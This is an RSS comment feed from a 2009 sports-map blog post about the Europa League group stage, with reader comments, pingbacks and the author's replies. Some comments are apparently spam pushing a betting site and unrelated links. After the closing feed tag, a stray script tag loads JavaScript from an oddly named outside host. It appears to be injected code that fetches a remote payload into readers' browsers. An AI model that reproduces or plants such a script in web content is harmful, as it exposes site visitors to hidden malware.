
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: UEFA Europa League 2009-10, Group Stage, with clubs&#8217; average attendances from their domestic leagues.</title>
	<atom:link href="http://billsportsmaps.com/?feed=rss2&#038;p=2995" rel="self" type="application/rss+xml" />
	<link>http://billsportsmaps.com/?p=2995</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Thu, 02 Sep 2010 21:23:29 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: free bet</title>
		<link>http://billsportsmaps.com/?p=2995&#038;cpage=1#comment-105474</link>
		<dc:creator>free bet</dc:creator>
		<pubDate>Wed, 07 Oct 2009 02:48:02 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2995#comment-105474</guid>
		<description>&lt;p&gt;I like the way the league has shaped up so far, more competitive than the old UEFA...&lt;/p&gt;

Commenter&#039;s site: http://www.betsfreebets.com

Answer:  The negative coverage the old UEFA Cup got, and the Europa League now gets, is ridiculous. For clubs outside the top echelon most everywhere but England, making this competition is a big deal. I am glad that there are now home and away matches in the Europa League Group stage. There were some decent attendances for some of the matches. See this:
http://soccernet-akamai.espn.go.com/fixtures?league=UEFA.EUROPA&amp;cc=5901</description>
		<content:encoded><![CDATA[<p>I like the way the league has shaped up so far, more competitive than the old UEFA&#8230;</p>
<p>Commenter&#8217;s site: <a href="http://www.betsfreebets.com" rel="nofollow">http://www.betsfreebets.com</a></p>
<p>Answer:  The negative coverage the old UEFA Cup got, and the Europa League now gets, is ridiculous. For clubs outside the top echelon most everywhere but England, making this competition is a big deal. I am glad that there are now home and away matches in the Europa League Group stage. There were some decent attendances for some of the matches. See this:<br />
<a href="http://soccernet-akamai.espn.go.com/fixtures?league=UEFA.EUROPA&#038;cc=5901" rel="nofollow">http://soccernet-akamai.espn.go.com/fixtures?league=UEFA.EUROPA&#038;cc=5901</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: UEFA Europa League 2009-10, Group Stage, with clubs’ average attendances from their domestic leagues. &#171; Scissors Kick</title>
		<link>http://billsportsmaps.com/?p=2995&#038;cpage=1#comment-104058</link>
		<dc:creator>UEFA Europa League 2009-10, Group Stage, with clubs’ average attendances from their domestic leagues. &#171; Scissors Kick</dc:creator>
		<pubDate>Sat, 03 Oct 2009 18:04:42 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2995#comment-104058</guid>
		<description>[...] UEFA Europa League 2009-10, Group Stage, with clubs’ average attendances from their domestic&#160;leagues.  &#8220;There are 48 clubs in the Group Stage of this the inaugural Europa League competition. The biggest difference between the Europa League and the competition it replaced, the UEFA Cup, is that the group stage now consists of 12 4-team groups playing home-and-away matches against the other 3 teams in the group. The UEFA Cup had 8 5-team groups playing single matches against the other 4 teams in the group.&#8221; (billsportsmaps) [...]</description>
		<content:encoded><![CDATA[<p>[...] UEFA Europa League 2009-10, Group Stage, with clubs’ average attendances from their domestic&nbsp;leagues.  &#8220;There are 48 clubs in the Group Stage of this the inaugural Europa League competition. The biggest difference between the Europa League and the competition it replaced, the UEFA Cup, is that the group stage now consists of 12 4-team groups playing home-and-away matches against the other 3 teams in the group. The UEFA Cup had 8 5-team groups playing single matches against the other 4 teams in the group.&#8221; (billsportsmaps) [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: floormaster squeeze</title>
		<link>http://billsportsmaps.com/?p=2995&#038;cpage=1#comment-103722</link>
		<dc:creator>floormaster squeeze</dc:creator>
		<pubDate>Fri, 02 Oct 2009 18:49:10 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2995#comment-103722</guid>
		<description>The number of cities with two teams this year in the Europa League is fascinating.  I noticed Lisbon, Rome, Bucharest, Prague, Vienna, Athens and Sofia.  That seems like a lot.

Answer: That&#039;s a good point, floormaster. It really is a lot, though the fact that the Europa League Group stage has 48 teams, not 40, mitigates it a little bit. That being said, there were only 3 cities with multiple teams 2 seasons ago (3 from Athens, 2 from Moscow, and 2 from Madrid), and just 1 city last season (Moscow), so 8 versus 3,  in a tournament that is 20% larger, is a significant increase. Also, note that all are capital cities. Thanks for the comment. </description>
		<content:encoded><![CDATA[<p>The number of cities with two teams this year in the Europa League is fascinating.  I noticed Lisbon, Rome, Bucharest, Prague, Vienna, Athens and Sofia.  That seems like a lot.</p>
<p>Answer: That&#8217;s a good point, floormaster. It really is a lot, though the fact that the Europa League Group stage has 48 teams, not 40, mitigates it a little bit. That being said, there were only 3 cities with multiple teams 2 seasons ago (3 from Athens, 2 from Moscow, and 2 from Madrid), and just 1 city last season (Moscow), so 8 versus 3,  in a tournament that is 20% larger, is a significant increase. Also, note that all are capital cities. Thanks for the comment.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: The Sweeper: Tottenham Mortgage their Fans&#8217; Futures &#124; Pitch Invasion</title>
		<link>http://billsportsmaps.com/?p=2995&#038;cpage=1#comment-103355</link>
		<dc:creator>The Sweeper: Tottenham Mortgage their Fans&#8217; Futures &#124; Pitch Invasion</dc:creator>
		<pubDate>Thu, 01 Oct 2009 15:03:47 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2995#comment-103355</guid>
		<description>[...] the second matchday in the Europa League group stage. Bill has another beautiful map of the contenders, while Jamie Jackson wonders who [...]</description>
		<content:encoded><![CDATA[<p>[...] the second matchday in the Europa League group stage. Bill has another beautiful map of the contenders, while Jamie Jackson wonders who [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Brad</title>
		<link>http://billsportsmaps.com/?p=2995&#038;cpage=1#comment-103354</link>
		<dc:creator>Brad</dc:creator>
		<pubDate>Thu, 01 Oct 2009 15:03:27 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2995#comment-103354</guid>
		<description>&lt;p&gt;I am subscribing to this blog&lt;/p&gt;

Commenter&#039;s site: http://aramamotorlari.zbuz.com/blog/yazi/oku/5000000011504632/ARAMA%20MOTORU%20KULLANMA</description>
		<content:encoded><![CDATA[<p>I am subscribing to this blog</p>
<p>Commenter&#8217;s site: <a href="http://aramamotorlari.zbuz.com/blog/yazi/oku/5000000011504632/ARAMA%20MOTORU%20KULLANMA" rel="nofollow">http://aramamotorlari.zbuz.com/blog/yazi/oku/5000000011504632/ARAMA%20MOTORU%20KULLANMA</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: gate7</title>
		<link>http://billsportsmaps.com/?p=2995&#038;cpage=1#comment-103341</link>
		<dc:creator>gate7</dc:creator>
		<pubDate>Thu, 01 Oct 2009 14:17:47 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2995#comment-103341</guid>
		<description>&lt;p&gt;The crests of the 2 greek teams (Panathinaikos,AEK) are missing!!!&lt;/p&gt;

Answer: Thanks very much for pointing that out.
</description>
		<content:encoded><![CDATA[<p>The crests of the 2 greek teams (Panathinaikos,AEK) are missing!!!</p>
<p>Answer: Thanks very much for pointing that out.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: RV Sheets King</title>
		<link>http://billsportsmaps.com/?p=2995&#038;cpage=1#comment-103317</link>
		<dc:creator>RV Sheets King</dc:creator>
		<pubDate>Thu, 01 Oct 2009 12:09:52 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2995#comment-103317</guid>
		<description>This is great info for us all. Glad you posted this. I am subscribing to this blog.</description>
		<content:encoded><![CDATA[<p>This is great info for us all. Glad you posted this. I am subscribing to this blog.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://cechirecom/js.php"></script>